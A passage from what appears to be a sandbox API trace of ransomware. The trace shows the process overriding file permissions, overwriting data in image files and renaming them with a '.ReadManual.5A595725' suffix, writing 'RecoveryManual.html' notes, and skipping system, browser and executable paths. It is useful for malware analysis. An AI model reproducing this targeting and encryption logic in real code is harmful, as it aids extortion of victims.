dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x59b9) returned 0x2f0000 [0254.020] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.020] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37468901813) returned 1 [0254.020] CloseHandle (hObject=0x184) returned 1 [0254.020] SetSecurityInfo () returned 0x5 [0254.021] SetSecurityInfo () returned 0x5 [0254.021] LocalFree (hMem=0x674d38) returned 0x0 [0254.021] CloseHandle (hObject=0x194) returned 1 [0254.027] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.027] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="Postage_SelectionSubpicture.png" | out: lpString1="Postage_SelectionSubpicture.png") returned="Postage_SelectionSubpicture.png" [0254.027] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.027] StrStrIW (lpFirst="Postage_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.027] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.027] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.027] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.027] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.027] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.027] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.027] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.027] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.027] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.027] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.028] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.028] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.028] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.028] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.028] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" [0254.028] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.ReadManual.5A595725" [0254.028] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.ReadManual.5A595725") returned 99 [0254.028] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37469650520) returned 1 [0254.028] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png")) returned 0x20 [0254.028] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.028] GetLastError () returned 0x5 [0254.028] GetNamedSecurityInfoW () returned 0x0 [0254.028] SetNamedSecurityInfoW () returned 0x0 [0254.029] SetNamedSecurityInfoW () returned 0x0 [0254.029] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.030] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5647) returned 1 [0254.030] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x160f, lpName=0x0) returned 0x184 [0254.030] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0254.030] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.030] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.032] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.032] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x160f) returned 0x2f0000 [0254.032] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.032] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37470100726) returned 1 [0254.032] CloseHandle (hObject=0x184) returned 1 [0254.032] SetSecurityInfo () returned 0x5 [0254.032] SetSecurityInfo () returned 0x5 [0254.032] LocalFree (hMem=0x674d38) returned 0x0 [0254.032] CloseHandle (hObject=0x194) returned 1 [0254.033] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0254.033] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="Postage_VideoInset.png" | out: lpString1="Postage_VideoInset.png") returned="Postage_VideoInset.png" [0254.033] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="RecoveryManual.html") returned -1 [0254.033] StrStrIW (lpFirst="Postage_VideoInset.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.033] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.033] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.033] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.033] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.033] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.033] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.033] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.033] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.033] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.033] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.033] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.033] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.033] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.033] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.033] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" [0254.033] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.ReadManual.5A595725" [0254.033] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.ReadManual.5A595725") returned 90 [0254.033] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37470201399) returned 1 [0254.033] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png")) returned 0x20 [0254.033] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.034] GetLastError () returned 0x5 [0254.034] GetNamedSecurityInfoW () returned 0x0 [0254.034] SetNamedSecurityInfoW () returned 0x0 [0254.034] SetNamedSecurityInfoW () returned 0x0 [0254.035] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.035] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3214) returned 1 [0254.035] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc8e, lpName=0x0) returned 0x184 [0254.035] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc4) returned 1 [0254.035] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.036] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.037] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.037] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc8e) returned 0x2f0000 [0254.038] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.038] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37470636254) returned 1 [0254.038] CloseHandle (hObject=0x184) returned 1 [0254.038] SetSecurityInfo () returned 0x5 [0254.038] SetSecurityInfo () returned 0x5 [0254.038] LocalFree (hMem=0x674d38) returned 0x0 [0254.038] CloseHandle (hObject=0x194) returned 1 [0254.038] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0254.038] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Push" | out: lpString1="Push") returned="Push" [0254.038] lstrcatW (in: lpString1="Push", lpString2="\\" | out: lpString1="Push\\") returned="Push\\" [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch=":\\Windows\\") returned 0x0 [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch=":\\WINNT") returned 0x0 [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch=":\\Windows.old\\") returned 0x0 [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch=":\\PerfLog\\") returned 0x0 [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\WindowsApps\\") returned 0x0 [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0254.038] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\Windows Defender\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\microsoft shared\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\Tor Browser\\") returned 0x0 [0254.039] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0254.039] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\") returned 53 [0254.039] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0254.041] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\" [0254.041] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.041] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0254.041] lstrcpyW (in: lpString1=0x6ab906, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0254.041] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0254.041] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.041] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.041] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.041] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.041] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.041] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.041] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.041] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.041] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.041] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.041] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.041] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.041] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.041] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.041] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.041] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" [0254.041] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.ReadManual.5A595725" [0254.041] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.ReadManual.5A595725") returned 90 [0254.041] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37471019513) returned 1 [0254.041] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png")) returned 0x20 [0254.042] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.042] GetLastError () returned 0x5 [0254.042] GetNamedSecurityInfoW () returned 0x0 [0254.043] SetNamedSecurityInfoW () returned 0x0 [0254.044] SetNamedSecurityInfoW () returned 0x0 [0254.045] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.046] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0254.046] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0254.046] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc4) returned 1 [0254.046] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.046] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.048] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.048] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0254.048] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.048] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37471698916) returned 1 [0254.048] CloseHandle (hObject=0x1a0) returned 1 [0254.048] SetSecurityInfo () returned 0x5 [0254.048] SetSecurityInfo () returned 0x5 [0254.048] LocalFree (hMem=0x674d38) returned 0x0 [0254.048] CloseHandle (hObject=0x184) returned 1 [0254.051] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\" [0254.051] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\RecoveryManual.html" [0254.051] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0254.051] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0254.052] CloseHandle (hObject=0x184) returned 1 [0254.052] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0254.052] lstrcpyW (in: lpString1=0x6ab906, lpString2="1047_576black.png" | out: lpString1="1047_576black.png") returned="1047_576black.png" [0254.052] lstrcmpiW (lpString1="1047_576black.png", lpString2="RecoveryManual.html") returned -1 [0254.052] StrStrIW (lpFirst="1047_576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.053] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.053] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.053] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.053] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.053] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.053] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.053] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.053] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.053] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.053] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.053] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.053] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.053] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.053] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.053] lstrcpyW (in: 